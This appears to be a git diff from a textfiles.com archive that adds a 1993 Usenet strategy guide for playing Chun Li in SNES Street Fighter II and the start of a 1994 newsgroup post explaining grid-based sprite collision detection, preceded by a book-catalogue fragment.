BINDING: pap. - $10.95 + ISBN: 0-923891-11-0 + VOLUME(S): N/A + ORDER NO.: S4 + IMPRINT: N/A + STATUS IN FILE: New (89-04) + NOTE(S): Illustrated + SUBFILE: PB (Paperbound Books in Print) + + TITLE: Chinese Chess + AUTHOR: Lau, H. T. + PUBLISHER: C E Tuttle PUBLICATION DATE: 03/1991 (910301) + NO. OF PAGES: 248p. + LCCN: 84-052394 + BINDING: pap. - $9.95 + ISBN: 0-8048-1675-1 + VOLUME(S): N/A + ORDER NO.: N/A + IMPRINT: N/A + STATUS IN FILE: New (91-01) + NOTE(S): Illustrated + SUBFILE: PB (Paperbound Books in Print) + LIBRARY OF CONGRESS SUBJECT HEADINGS: CHINESE CHESS (00086320) + PAPERBOUND BOOK SUBJECT HEADINGS: HOBBIES AND GAMES-GAMES, MAGIC AND + PUZZLES (00001478) diff --git a/textfiles.com/games/chunli.txt b/textfiles.com/games/chunli.txt new file mode 100644 index 00000000..1b580205 --- /dev/null +++ b/textfiles.com/games/chunli.txt @@ -0,0 +1,720 @@ +Newsgroups: rec.games.video +From: rich@grebyn.com (Richard Lawrence) +Subject: Complete Chun Li Strategy Guide: SNES SFII +Message-ID: <1993Jan1.091240.23839@grebyn.com> +Organization: Grebyn Timesharing +Date: Fri, 1 Jan 1993 09:12:40 GMT +Lines: 697 + +This is a long posting. If you are interested, you will want to save it +to a file for viewing ( "s " in most readers). + +The following is my complete strategy guide to playing Chun Li on SNES +SFII. Hope it helps some of you out. Email addresses are at the bottom +if you have comments. + + + The Indispensable Chun Li Strategy Guide for the SNES + or: How To Beat Level 7 Without Having a Hernia + + This guide is the "intellectual property" (yeah, right, there's an +oxymoron - intellectual video game discussion) of myself. You are free +to distribute it, copy it, revere it, throw it away, but you can't +quote it without my permission. 'Course, I would always GIVE the +permission, but that's besides the point. + + Version 1.0 of this guide is being released as of 12/92 upon an +unsuspecting world, to help out those poor unfortunate souls who are +having trouble tromping the computer. + +Why Chun Li? + + It is my opinion that Chun Li is the strongest champion in the SNES +version of Street Fighter II. There are several reasons for this. + + * Great range on offensive moves - because of her jumping ability, + particular the "bounce off a wall" move, Chun Li can strike over a + great range offensively. Ken and Ryu have great offensive attacks, + but have to use vulnerable special moves to get around quickly. + + * Extremely fast - helps on both offense and defense, she can block + quickly when in trouble and turn it into an attack instantly when + the opportunity arises. + + * Easy controls - no "move here, here, and here" for an attack. The + most difficult move she has is the Whirlwind Kick, and as we'll + see later, you don't even need that to be deadly. + + Using Chun Li and a Capcom joystick (see next section) I can +consistently finish the game without loosing a battle. I've come +*very* close several times to completing an entire game without being +hit. + I will be releasing guides for the other characters, but Chun Li is +my favorite so she gets the lead role. + + A Word on Joysticks + + If you are playing SFII with the default SNES control pad, you are +a) insane and b) must have little bitty hands. My advice to ANYBODY +looking to get enjoyment out of this game is loose the pad instantly. +There are several full sized joysticks out there. I have looked at the +CH Joystick, the Capcom Fighter Power Stick, and the ASCII products, +and a few others. I decided on the Capcom product, but that doesn't +necessarily mean it is the best for you. It had the layout I wanted, +lots of features, and a good feel. Some may be afraid of its plastic +construction, but believe me, I have tortured mine extensively and +it's holding up well so far. + The big priority in a SFII joystick is the configuration of the +button repeat functions. The CH stick looses here with no repeat at +all; I recommend you avoid any such stick. You need to be able to +assign various auto-repeat speeds to individual buttons. Not important +to SFII but important to shooters is the ability to have a button +continuously fire; the Capcom does all of the above. + + + Description of Moves + Here is a brief summary of moves described in the manual, and what +they are good for. + +Shoulder Throw: . Crucial against +Ken and Ryu. Note that Chun Li does *not* need to be touching the +character to perform a shoulder throw - she can be a little ways away. +Shoulder throws also work in mid-air, where they are almost +indefensible. Not safe to use against E. Honda. + +Head Stomp: . This move is important +because with it you can hit other characters even when they are +"invincible". Examples: Blanka when he is electric, Bison/Honda when +in a torpedo, Dhalsim when he is stretching (you can hit any part of a +stretching Dhalsim with the head stomp and hurt him!). Keep the head +stomp in mind as your counter to any special attacks that involve the +opposing character directly. These special attacks generally commit +the character to a course of action that he must stick with for a few +seconds. For example, when Blanka turns on electricity, he has no +control over what happens until he comes out of it. This is the +perfect opportunity to do a flying leap and come down with a head +stomp. His electricity will not hurt you, and you'll damage him +without giving him any chance to block. + +Lightning leg: . Note that there is a big difference in the +different lightning legs. The best is the medium ("A" button). The +Roundhouse lightning leg ("R" button) kicks very high and can be +countered with a properly timed punch, but it does the most damage and +has some specialized uses. The light lightning leg is the slowest +repeating and can actually be countered by waiting for the first hit +and timing a return punch. Stay away from it; it's useless. + +Whirlwind kick: . I +consider this move almost useless. You gain a second of +invulnerability when you are inverted, but it's easy to block and wait +for Chun Li to spin around at the far end of the kick, then throw her +as she is coming out of it. Also, this move can be difficult to +perform unless you set it up by "charging". Charging is when you begin +the movement of an attack when you are still moving from a previous +attack. For instance, let's say you jump straight up. Immediately +after hitting up, you can pull down and hold the stick, then when you +land you can push up and a kick and you will "instantly" launch into a +whirlwind kick, because you were charging it as you came down from +your previous jump. Charging is important in the lightning leg kicks, +but stay away from the Whirlwind unless you want to show off. + + There are several moves I rely on consistently in my strategies. +They are described here so you will be familiar with them in the text +afterwards. + +The straight up Roundhouse: Simply push up on the stick and press +Roundhouse kick ("R" for default configuration). Chun Li will leap +straight up in the air and do a sort of circular roundhouse. This kick +has amazing range, both left to right and vertically. Note that you +can time this kick so the roundhouse starts anywhere from when you +first jump up to when you are almost touching the ground after coming +down again. This kick is *very dangerous* to opponents, since it has +wider range than just about any other kick, and you are more or less +impervious if you time it correctly. + +The pre-charge lightning leg: From a standing position, push diagonal +up on the stick and Chun Li will do a spinning forward move through +the air. At the halfway point, press and hold a repeating kick key. +The kick key can be anything from a roundhouse to a light kick. Chun +Li will do a kick in mid-air (so if your opponent jumped at the same +time he will likely be hit) and when she lands will instantly launch +into a lightning leg. + Variant: The head stomp/lightning leg: Push diagonal up to jump, +then immediately push DOWN on the stick, then push and hold a +repeating kick key. Chun Li will jump up, go into a head stomp as soon +as you hit the kick, and upon landing launch into a lightning leg +right away. The beauty of this attack is that most of the time she +will end up facing the opponent with the lightning leg, *even if you +mistimed the kick and jumped over the opponent*. In other words, if +you land on the wrong side with this kick, most of the time you'll be +covered anyway! Try it, I'm not kidding. + +The wall bounce: Jump up and diagonally so as to hit the edge of +the screen. While you are in the air, before you actually hit the +edge, pull the stick up and diagonally in the opposite direction of +the initial jump. You will hit the edge, and instead of falling +straight down you'll start a new jump in the opposite direction. You +can do this even when standing right next to a wall/edge of the +screen. It's an important move because it's the longest leap you can +make, giving you a great range of attack when you are near the edge of +the screen. Use it to get out of trouble if you get cornered. Vega can +also do this move; watch out for it. + + +Ok, now that we've got the moves down (practice them on level 0 until +you are comfortable with them), let's look at the stages/characters. +The following are loosely organized from easiest to hardest. They are +all based on Level 7 play. The computer will vary it's techniques on +other levels; you're on your own (but they are much easier). + + +1) Bonus stages: For both the brick pile and the destruction of the car, +the weapon of choice is the Roundhouse lightning leg. Have the button +held down when the screen first appears, even before you get the +"start". This way as soon as the round starts you'll launch into a +lightning leg that destroys the first section. When you see Chun Li +start kicking, let go of the key (she'll continue the lightning kick, +don't worry) and wait for her to finish the kick. For the bricks, just +do a diagonal forward jump and when in the air, hit and hold the +roundhouse lightning kick again. You'll get one quick hit from the +air, then you should land on top of the first level (not the very top) +of the pile and start pounding away. Just stand there holding the key. +If you didn't waste any time, you can get 27 seconds out of the bricks. + +For the car, after the first section is blown away, jump on top of the +car, run across it, fall to the ground on the other side and walk up +close. Then just hold down the roundhouse lightning leg again. You +should be able to finish the round with 22 seconds to spare. + + +2) Chun Li vs. Zangief: Zangief is a pushover. Believe it or not, you +can completely eradicate this sucker with *one move*, the straight up +Roundhouse. When the round starts, wait for Zangief to walk towards +you (he will always take the offensive) and jump straight up in the +air. If he jumps in response, immediately hit the roundhouse key and +you'll nail him in the air (your range is better than his). If he +doesn't jump, wait until you are on the downward part of your jump, +then hit the roundhouse key. Normally you'll kick him in the face with +this move. You'll have to practice the timing of the downward +movement, but trust me, you can do play the entire round with perfect +scores with just this one move. The timing is tricky if he does an +upward kick as you are coming down, though. + +When you land, just repeat the above process again. You might have to +wait for him to walk towards you a little bit so he'll be in range for +the kick. + +Just about the only thing Zangief can do about this is block as you do +the roundhouse. If this happens, either jump straight up again +immediately and repeat the roundhouse (eventually he will miss a +block), or land, pull down and hit roundhouse. You'll kick sideways +with both legs, balanced on a hand, and usually this happens too fast +for him to move from his previous block to the new position. After you +hit him once with this, go back to the straight up and down jumps with +the roundhouse in the air. + +Against Human Zangief's: You'll still tear this guy apart, even if a +really good human player is in control of Zangief. Keep in mind that +your straight up roundhouse kick has better range than his spinning +clothesline, which you'll find human opponents rely on a lot. Your +only fear is mistiming the straight up roundhouse: if you don't get +the kick in, you'll land on your feet directly in front of him, and +that's bad news. Never tangle with Zangief in close range, even if +you're not going to use my tactic (it's a tick, and other players +might insist that you not use it). If you make an agreement not to use +the straight up roundhouse, use your jumping ability to jump in, hit, +and jump out, and if he backs you up bounce off a wall to keep from +being cornered. + + +3) Chun Li vs. Ryu: Yeah, that's right, as a computer opponent I +consider Ryu totally worthless. Let me give you a template to beat +level 7 Ryu every time: + + a) Before the round even begins, have your stick pointed towards Ryu +so you'll be walking towards him. As the round starts, take one or two +steps and then press "L" for a shoulder throw. *Computer Ryu starts +99.9% of the rounds by walking towards you, and will subsequently fall +for this throw every time*. + + b) After the shoulder throw, do a pre-charge lightning leg towards +Ryu (jump up and diagonally towards him, hold down the Roundhouse +button as you jump). You'll land and promptly start pounding him, as +soon as he stands up from the throw. Even if he blocks you'll be +hurting him. As the kicks hit him, he will move slowly farther away +from you. Let go of the kick key after the first two hits, and wait +for the lightning leg to expire. + + c) if you've followed the above, Ryu will be up against the far +right wall right now. You have two choices. You can repeat step (b) +above, but if you do, you'll loose the chance for a perfect round, +because as you land with the lightning kick revved Ryu will strong +punch and hit you, although you will hit him after that. The other +choice is to jump towards him, and immediately pull down and hold a +repeating kick key. You'll head stomp him 1-2 times, then bounce off +the wall and backwards. + +Here's a generalization: after being hit with a repeat attack such as +the lighting leg, 95% of the time the first thing that any character +with a distance weapon (Ken, Ryu, Dhalsim, Guile) will do is fire that +weapon. In the above scenario, this would happen between (b) and (c), +but as Ryu is throwing his fireball, you'll be leaping through the air +and preparing a head stomp. This same tactic works well for all of +these characters, but especially Dhalsim. The key is, after a +successful lightning leg, jump TOWARDS the opponent to avoid his +subsequent distance attack, and have an offensive move prepared. + +If you've followed the above scenario, then after the head stomp in +step (c) Ryu is probably heavily damaged and you are a little ways +from him on the left after bouncing off the wall. He will almost +certainly fire a fireball. Just jump straight up in the air, and watch +it go by. Repeat as necessary. _Eventually_ he will tire of this and +come walking towards you again. When this happens, just repeat from +step (a). You'll kill him with the first throw or so. + +Human Ryu's: Any human player worth a damn is only going to fall for +the opening shoulder throw once or twice, and after that he'll vary +his opening attack. In this scenario, start the round by moving AWAY +from Ryu. If he fireballs, try to jump straight up, but don't worry +about if you can't, just let the block happen. Then look to the +section below for responses to typical Ryu/Ken attacks. + +Response to the Hurricane Kick: If Ken or Ryu goes into a Hurricane +kick, if you are close (1 body width) from it, go into a block right +away. Let it hit you a couple of times, then as he is settling to the +ground, push forward and hit "L" to shoulder throw him. Note: the +computer opponent will follow a hurricane kick with a Dragon Punch. +Keep the block through the Dragon Punch, then catch him on the way +down from the punch with a throw. *After a throw you should always go +on the offensive*. Do a pre-charge lightning leg kick after a throw. + +If you are a few steps away when Ken/Ryu starts the Hurricane kick, +wait until he is about 1 body width away and then hit "L" for a fierce +punch. It's kind of funny actually, but Chun Li's hand in this +configuration ends up in a very delicate location on Ken or Ryu, and +there's no defense for them once they are committed to the Hurricane. +Try it yourself. The best range on this is achieved if you push the +stick towards the opponent right as you hit "L". + +Response to the Dragon Punch: See above. Block backwards, but stay in +the area. Wait for him to start to come down, then push forwards and +"L" to throw him. Go on the offensive from there. Computer Ken/Ryu's +will almost always do more than one Dragon Punch in a row. It takes a +*long* time for them to recover from a Dragon Punch. If you are less +than three body widths away when they do a Dragon Punch, you will have +time to walk up, wait for him to start coming down, and Shoulder Throw. + +Response to the Fireball: Simple, either jump straight up (preferred) +or block. The dangerous ones are the slow fireballs. Crafty human +opponents will try to lure you into jumping straight up with a slow +fireball, then walk towards you while you are in the air. If this +happens, try to roundhouse right before you touch down again. It gets +them every time. To make the timing on this less crucial, stay AWAY +from a human Ken or Ryu on the screen. Remember to back out of being +cornered by using the bounce off the wall trick. + +Response to a jumping Ryu/Ken: A favorite trick of the computer is to +have Ryu/Ken jump around, and a lot of human players do this too. If +the computer player is jumping back and forth, just ignore it - +eventually he will fire a fireball instead of jumping. If he starts +jumping towards you (or a human player does), watch the distance that +he jumps. Place yourself at the position you think he will land with +his next jump. When he is about halfway through this jump, do a +standing roundhouse (just hit the "R" key). Your standing roundhouse +has longer range than the flying roundhouse that Ken or Ryu is +probably attempting. You'll hit him as he's coming down and bounce him +backwards. + +Special note: it is dangerous to try to jump diagonally away from Ken +or Ryu, because their fireballs travel at about the same speed as your +jump, and you may come down right in the middle of one. Jump straight +up and down when needed. You *can* do the diagonal jump, but it +requires precise timing. Don't tackle it until you are comfortable +with beating these guys. + + +4) Chun Li vs. Ken: First, read the above section, especially the +responses to attacks. Keep in mind that Ken and Ryu are *the same +character*. The only difference between playing the two of them on +level 7 SNES is the opening - Ryu will always start by moving towards +you (making him easy to throw). + +The best opening move against Ken is defensive; start by backing away +from him. It's very likely that he will launch into a Hurricane Kick. +Let it come, keep the block by pulling away. He will follow the +Hurricane with a Dragon Punch. Again, let it happen, but after he +starts to come down, push forward and hit "L" to throw him. You've +just performed step (a) from the Ryu text - just follow that template +and you'll be all right. + +Ken is more fond of the Hurricane kick than Ryu, and also jumps more. +Read the "Responses to xxx" section in Ryu above - all of the +responses are the same for either Ken or Ryu. + +If you want to gamble against the computer, open the round with a +fierce punch. If Ken is doing a Hurricane Kick you'll nail him. Most +of the time otherwise he'll be jumping away and there will be no +effect, but there's the chance that he will throw a fireball, in which +case you will be nailed yourself. + + +5) Chun Li vs. Dhalsim: The template for Dhalsim is very close to what +you do for Ryu/Ken, except for the opening - here goes: + + a) First move of the round should be a diagonal jump towards +Dhalsim. After you've started this, Dhalsim will do one of several +things - he'll Yoga Fire, he'll jump straight up, or he'll do a +stretch attack. Any way you slice it, the attack of choice is to hit +the "A" button after you start the jump and hold it. You'll either +hit him in the air if he jumps straight up, or you'll hit him as you +come down in the other cases. Then you'll launch into a lightning leg +that will throw him backwards. + + b) after you throw him backwards from the attack in (a), basically +repeat the same move, jump diagonally up and towards him, come down +with a lightning leg revved. You can use the roundhouse if you want, +Dhalsim doesn't seem able to counter it as others can. + + c) after step (b), Dhalsim will be up against a wall (the right +one). It is usually safe to just keep performing step (b), but there's +a chance he'll counter it. If you are after a perfect round, diagonal +jump towards him (quickly, after he comes out from under your +lightning leg) and head stomp him, then bounce off the wall. After +that, you can go defensive for the round and wait for him to come to +you. I usually prefer just finishing him off in the beginning, though. + + +6) Chun Li vs. E. Honda: Honda is not really THAT hard, he's just got +a few special considerations compared to the other players. + +The basic template for Honda is to just flying leap towards him and +rev a lightning kick as you come in. Just like you would against other +characters. As with the other characters, this attack is less +effective when Honda is backed up against a wall - jump in and head +stomp him, then jump away. Keep the following in mind. + + a) Always use a regular lightning leg against Honda (the "A" key). +He has the timing to counter both others. + + b) if Honda blocks while you are in the air (he will cross his hands +in front of his face), IMMEDIATELY let go of the lightning leg key and +pull the stick diagonally backwards from him. When you land, you will +still do a short lightning leg attack (from the previous revving). +After this kick finishes, Honda will jump towards you. If you followed +my instructions the timing will be perfect to jump right out from +underneath him, *keep the stick held diagonally backwards from him*. +You'll want to jump away from him to get some maneuvering room. + + c) If Honda is doing a Hundred Hand Slap, you have to be just +outside the range of his hand when you jump in and lightning leg him. +This is a safe attack when properly executed (you won't get hit) but +if you are two far away when you jump in, you'll land in the range of +his hands rather then in his body, and the hands will hit you. + + d) Unless you are *sure* that Honda has just been stunned, DO NOT +ATTEMPT to Shoulder Throw him. He is unbelievably fast with the Bear +Hug. If you get caught in a bear hug, start pounding all the buttons +and swirling the joystick around (basically, spaz out). This will +break you out of it faster. + + e) If he torpedoes (Head Butt), jump straight up and come down with a +head stomp. Nails him every time. + + f) Again, never stand close to Honda. He will start the Hand Slap +and pound you. Jump in with a lightning leg revved and jump out. That +basic sequence will beat him 90% of the time with nothing else. + +Human players with Honda are usually much easier to beat than the +computer. Keep in mind that you have much faster jumping, your head +stomp is great against him, and your airborne Roundhouse has good +range against him. Most of the stuff above will work fine against a +human opponent. + + +7) Chun Li vs. Guile: Guile has some tricks up his sleeve, but they +can all be countered. Here's a basic template. + + a) First move of the round should be a straight up jump. Guile will +either start walking towards you, Sonic Boom, or walk backwards. MOST +of the time he will walk towards you, and then crouch down a few steps +away. It may not look like it, but he is in range of your air +Roundhouse kick when he is crouched down. You have to wait until you +are almost touching the ground again, then hit "R". You will kick him +in the head, sending him flying backwards. + + b) immediately jump diagonally towards him. Rev the lightning leg in +the air as you come down (you can use Roundhouse lightning legs +against Guile). You'll come down and start pounding him...release the +leg and wait for it to expire. + + c) Like Dhalsim, Guile will always follow a lightning leg attack +with a Sonic Boom to counter. The best thing to do to jump *straight +up*. It's very dangerous to jump towards Guile when he Sonic Bombs, +unlike Dhalsim/Ken/Ryu with their fireballs. The reason is that he +will do an immediate flash kick and nail you. + +General guidelines: If you can't finish him off with the opening +template, move out into the open, but not up against the wall. Wait +for Guile to approach you and jump straight up. If he kneels, start +with (a) above. Avoid Booms by jumping straight up and down. + +Sometimes Guile has a weird little sequence he follows when Chun Li +jumps straight up. He'll stand just outside the range of the +roundhouse you let loose. After you land, he'll pause a second and +throw a fierce punch. The trick to this is to hesitate a second after +landing, then jump straight up again and roundhouse. The sequence is a +little tricky, but luckily you won't get damaged much even if he +connects with his fierce. + +Do *not* jump diagonally in against Guile unless he has just been +kicked in the head or thrown back. The computer can instantly unleash +a Flash Kick and nail you hard. There is nothing practical you can do +against a Flash kick except avoid it. Like the Dragon Punch, it takes +a little time for him to recover after using it, and you can use the +opportunity to throw him. + +Against Human Guile's: Guile matches up well with Chun Li, so a good +Guile player can give you a hard time. Keep in mind that your airborne +Roundhouse kick has a greater range than his, and your straight up in +the air Roundhouse can be timed to extend farther than any of his +punches. Counter Flash Kicks by leaping away if close. If you're far +away and he Flash Kicks, try to leap towards him, catch him coming +down and do an Air Shoulder Throw (push towards him and hit "L"). This +does a lot of damage. + +Guile's sweep has a better range than yours, so don't go toe to toe. +Instead, leap straight up as he approaches and roundhouse. + + +8) Chun Li vs. Blanka: Now, Blanka can be a problem. He's fast, he has +STRONG offensive moves, and the computer plays him pretty well. Still, +it's possible to master the moves to beat him consistently. + + Your basic pre-charge lightning kick is still an important move. In +fact, open the round with it - when you hear "Fight!", jump diagonally +towards Blanka, and come down with the lightning leg firing. I usually +use the normal, but you can also use Roundhouse. It's possible that +Blanka will jump up or towards you as his first move. If he goes up, +you should be able to hit him with your kick. If he jump towards you, +you'll have to react VERY quickly and switch to an air Shoulder Throw, +otherwise you'll be hit. + + Assuming you got him with the initial lightning leg, jump in and +pound him with another, then jump in and head stomp. At that point you +will bounce off the wall (after having head stomped him) and away. +It's more important than usual to stay clear of Blanka. He has very +good range on all of his close in attacks, more than just about +anything Chun Li has except the fierce punch/lunge. + + The preceding sequence should have him pretty damaged, but unlike +most of the other characters, Blanka is very erratic in actions from +this point on. If he starts jumping towards you, jump away, wait for +his next jump, and time a jump towards him to hit him as he is coming +*down* (you're reasonably safe with this move). Otherwise, move in +and attempt a pre-charge lightning leg again. Here's some things to +look out for: + + a) If he starts jumping straight up and down, Blanka is thinking +about a Rolling Attack. Chun Li's Head Stomp works against the Rolling +Attack, but it's hard to time it as the Rolling Attack is so much +faster than other character's moves. It's safest to just jump straight +up and avoid it, or block if you have to. Remember that if you can +punch or kick Blanka when he's in a Rolling Attack you will do more +than normal damage. If you see him suddenly crouch down when he's far +away from you, he's definitely about to unleash a rolling attack. + + b) Blanka is hard to stun, and doesn't stay that way long when you +do manage it. Don't trust a stun against him, and that means be careful +with attempts at a Shoulder Throw. + + c) Blanka is the only character that I recommend you stay away from +the straight up Roundhouse. He's got too many attacks that can counter +it. + + d) Never, ever try a Whirlwind Kick against Blanka. I don't use the +Whirlwind anyway, but Blanka will invariably time a Rolling Attack just +right when you try the Whirlwind to pound you. + + +8) Chun Li vs. Balrog: Balrog can do massive damage, but as an opponent +he's a moron. Basically, treat Balrog the same as Zangief, that is, he +is very susceptible to the straight up Roundhouse. Here's a typical +sequence: + + a) Start the round by jumping straight up. Balrog may rush in or +walk in trying to punch you. Either way he'll be in range as you come +down from the straight up jump, that's when to release your airborne +Roundhouse. You'll hit him in the head and he'll fly backwards. + + c) After hitting Balrog with a Roundhouse is the ONLY time it is +safe to do a flying jump into him with the lightning leg. Do so now, +use Roundhouse as the Lightning Leg. He will probably crouch down and +block. + + d) Immediately after coming out of the lightning leg Balrog will +jump diagonally towards you. Jump straight up and Roundhouse to hit +him as he comes in. + +You can beat Balrog entirely by just standing in one place and doing +straight up Roundhouses, just like Zangief. The key is to jump up +when he is farther away than you are used to, because he will probably +rush in the last few steps, and you don't want to be on the ground +when that happens. Even if he is walking he will make it into range, +barely. Just takes a little practice to get the jump point right. + +It's obvious that you shouldn't get backed into a corner with Balrog. +As with all the end bosses, if you let yourself get up against a wall, +you may never even have a chance to jump out before you are dead. + + +9) Chun Li vs. Vega: Vega requires the most precise timing of any +character to counter, but after you learn this timing you will beat +him very consistently. It's easy to get frustrated with him and think +that he's impossible to beat (I did, at first), but stay with it. + +General guideline: When leaping away from Vega (you will do a lot of +this) ALWAYS combine the backwards leap with a standard kick. + +General guideline #2: If you are staying on the ground, you are doing +something wrong. Start jumping, it's the only way to beat Vega. + + a) Vega starts every round (at least on level 7) with a leap away +from you. Just stand there. He'll start walking towards you after the +leap. Note that Vega is a pain to play because his move set as far as +jumps, etc. is basically the same as yours. Here's the tricky part: as +Vega is coming towards you, you want to wait until he is JUST close +enough that you would hit him with a forward leap/regular kick combo. +However, most of the time when you try this he will leap away quickly +enough that you won't hit him. I usually leap backwards if my first +attempt was unsuccessful - Vega will probably leap forwards directly +after he lands, so you want to be going backwards. Wait for another +opportunity to try again. + + c) If you hit Vega with the above leap, do NOT lightning leg him. +In fact, never Lightning leg him on just one kick. Instead, leap +towards him a second time and try another flying standard kick. If +you hit him again and he falls backwards, then you can try the +lightning leg, but be aware that you will simply have to learn when +you can and cannot use the lightning leg against Vega. You might +want to just stick with leaping back and forth at first. + + d) This is a little weird, but something to try if you can't get +the timing right on step (a) and you're just jumping back and forth +is to get hit once. Vega's behavior changes after he has either been +hit or hit you. He will start bouncing off the edge of the screen +when this has happened (just like Chun Li can) and this is a weak +point for him. When Vega jumps backwards towards the edge of the +screen, do NOT jump after him - if you do you'll be hit. Rather, wait +for him to hit the edge, and start his bounce back towards you. If you +wait until just after this bounce back towards you has started, you +will be able to jump diagonally towards him, hit a standard kick, and +hit him as he comes down. + + e) If Vega starts climbing the cage, walk to whichever side of him +has more maneuvering room, stop about 1 1/2 body width away from him +on that side, and wait. You should be prepared to a diagonal jump +away from wherever Vega is when he is on the wall. As soon as he jumps +off the wall, jump diagonally up and away from him, simultaneously +hitting a standard kick. You'll hit him as he comes down. He often +does several wall-climb attacks in a row, so be prepared for another. + + f) If you get Vega in a lightning leg, it's safest to just assume +you should jump diagonally away as soon as it is completed. Let go of +the kick button immediately after starting the lightning leg, and pull +diagonally back on the stick. You'll finish the kick and then jump +away. Vega has a variety of nasty counters after he comes out from +under a lightning leg. + + +10) Chun Li vs. M. Bison: The first thing to know is that the computer +basically cheats like hell when playing Bison. Don't get frustrated +about it. Bison is the only character left that despite a solid +understanding of how to beat him, can still kill me with a fair +consistency. On the other hand, I've gone double perfect rounds on +him innumerable times, so he's not invincible. + +Bison is unpredictable. The only given move for ever round with him +is the very first one: you should jump straight up in the air. If he +does one of his "jump halfway across the screen" leaps at you, hit +Roundhouse. Otherwise, wait until you are coming down, he will be +walking towards you. Do a last second Roundhouse before you land to +hit him in the head. + +The rest of these moves are basically reactions to various things Bison +will attempt. + + a) Against the Flaming Torpedo: Jump straight up and come down with +a head stomp. Unfortunately, the computer will bring Bison out of +almost all his Torpedoes _already_ blocking, so he'll probably block it. +It beats getting hit with it, though. You'll have better success +actually hitting him with the stomp if you try to time it so you will +hit him just as he starts coming underneath you, rather than in the +middle of his body. + + b) STAY IN THE MIDDLE OF THE SCREEN. If you get close to the wall, +you are toast. Once you allow Bison the beginning of a strong +combination attack, it's basically over. + + c) The air is your friend again. Do a lot of jumping. Bison is also +susceptible to the straight up Roundhouse kick, but be aware that he +will block a good number of them. You have to keep jumping straight up +again and Roundhousing in the hopes you'll catch him out of a block. +One thing that works to your advantage is that he will try a power +punch sooner or later. If you see his hand turn electric while you are +in the air, your Roundhouse *will* hit him. You should anticipate this +and as soon as you hit the kick, be leaping towards him with another +Roundhouse, which will also hit. Then decide whether to get in another +kick (lightning leg is possible) or just jump away to the middle of the +screen again. + + d) You can beat those flying kicks that Bison does by jumping straight +up and Roundhousing. As usual, you have better range than most of his +stuff. + + e) If you catch Bison in a lightning leg, let if fly and let go of +the kick button. He will probably block it successfully, but as usual +he will be knocked backwards as he blocks. He'll end up a little ways +away from you after you come out of the leg. Almost always his +response will be to leap in towards you with a flying kick. The response +is to jump straight up and Roundhouse (as above), but in the special +case of him recovering from a lightning leg, wait about a half second +before you jump straight up. Otherwise you'll miss him with the kick, and +he'll hit you. + + +Well, that's about it, folks. I'll be writing the other characters up +later. I may revise this document as well; send in your suggestions and +comments to the email addresses below. Have fun playing. If you are new +player to the game, don't expect it all to come at once. I guarantee you +that all of the strategies here will work, but you may need to get +comfortable with controlling Chun Li first. Also, don't expect to walk +into an arcade and be a champion. The timing is entirely different, and +the computer opponents are smarter. + +Contact me: + +Internet: rich@grebyn.com rlawrenc@synoptics.com +CI$: 71101,2272 +GEnie: R.LAWRENCE14 + +-- +Rich Lawrence, Synoptics Systems Engineer DOD#9630 rich@grebyn.com + '92 Seca II "Yuri" CI$:71101,2272 GEnie:R.LAWRENCE14 + 215 years ago my government gave me certain inalienable rights. + Since then, they've been trying to correct their mistake. + + +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X + Another file downloaded from: The NIRVANAnet(tm) Seven + + & the Temple of the Screaming Electron Taipan Enigma 510/935-5845 + Burn This Flag Zardoz 408/363-9766 + realitycheck Poindexter Fortran 510/527-1662 + Lies Unlimited Mick Freen 801/278-2699 + The New Dork Sublime Biffnix 415/864-DORK + The Shrine Rif Raf 206/794-6674 + Planet Mirth Simon Jester 510/786-6560 + + "Raw Data for Raw Nerves" +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X diff --git a/textfiles.com/games/collisio.txt b/textfiles.com/games/collisio.txt new file mode 100644 index 00000000..968cb4f6 --- /dev/null +++ b/textfiles.com/games/collisio.txt @@ -0,0 +1,592 @@ +Date: Mon, 27 Jun 1994 21:43:13 -0400 +From: Tom Moertel +Subject: Collision Detection - How? + +Date: Mon, 4 Jul 1994 23:24:15 -0400 +Subject: Typo fixed with 2K(K-1) expansion + +Many people have requested copies of my collision detection code. I +suspect that it's of general interest for the readers of this +newsgroup, so I'm posting the code here along with a discussion +of the techniques it uses. Please accept my apologies for the length +of this posting. + +The code was written in C++ on a Macintosh, but I've endeavored to +keep the collision detection code close to ANSI C. Porting it +should be a 30 minute affair. The testing-timing harness is C++- +and Macintosh-specific, so it will take, say, an hour longer to +port that, if you feel so inclined. + +OVERVIEW + +Here's how the code works, roughly speaking. The screen is divided +into "sectors," defined by a regularly-spaced grid. All objects +(e.g., sprites) are placed into the appropriate sectors as determined +by the objects' upper-left corners. Then the objects in each sector +are tested for collision with one another, taking advantage of the +observation that overlapping objects will usually be classified into +the same sector. This isn't always the case, however, and the code +therefore makes well-behaved translations of the grid to ensure that +all collisions will be detected and that no false collisions will be +reported. + +NOTES + +The first thing to do when you get the code is to look at the +declaration of the "obj" structure. It represents an on-screen +object. For convenience's sake, I've made all my objects 30x30. That +way I can define the x and y data members to be the upper-left corner +of an object's bounding rectangle, and when I need the lower-right, I +calculate it by adding 30 to x and y. (That's the way I'd do it in a +shoot-'em-up, too. Each class of objects would have a different size +associated with it. E.g., for a bullet I'd add, say, 8 instead of 30 +because they're smaller.) + +I keep all the objects in a linked list, where the obj_link member is +the link between objects. The sector_link is especially important. +It is used to keep all the objects in a sector in a single linked +list. That's a key to making this collision detection technique +work quickly. Placing each object in its containing sector takes O(1) +time, with a low constant, to boot. + +With that in mind, here's an overview of the implementation: + + iterate four times, shifting the sector grid between iterations + place objects into the appropriate sectors + for each sector + check for collisions among its objects + +You may find it interesting that I've chosen to repeat the entire +sectorization and per-sector collision checking process four times. +That's how I get around the problems associated with overlapping +objects that are placed into adjacent sectors. Instead of testing for +collisions with objects in adjacent sectors, I just shift the entire +sector grid and repeat the process. Before you accuse me of being +insane for this "four-shifts" business, you should know that it's +asymptotically 20 times faster than testing the adjacent sectors, and +about 40 times faster for the most common "real world" cases. If +you're interested in my analysis, it's near the end of my notes. +Uninterested readers may feel free to skip it. + +A side effect of the multiple iterations is that the same collision +will sometimes be reported more than once. For example, if you have +two objects directly on top of each other, they will both be placed in +the same sector and detected as having collided, regardless of how the +sector grid is shifted. The result: this particular collision will be +reported four times. This isn't a big concern, and there are trivial +ways to sidestep the issue, but I think I'd be remiss if I didn't +point it out. I'd hate to have people screaming because particular +bullets were packing four times the expected wallop, 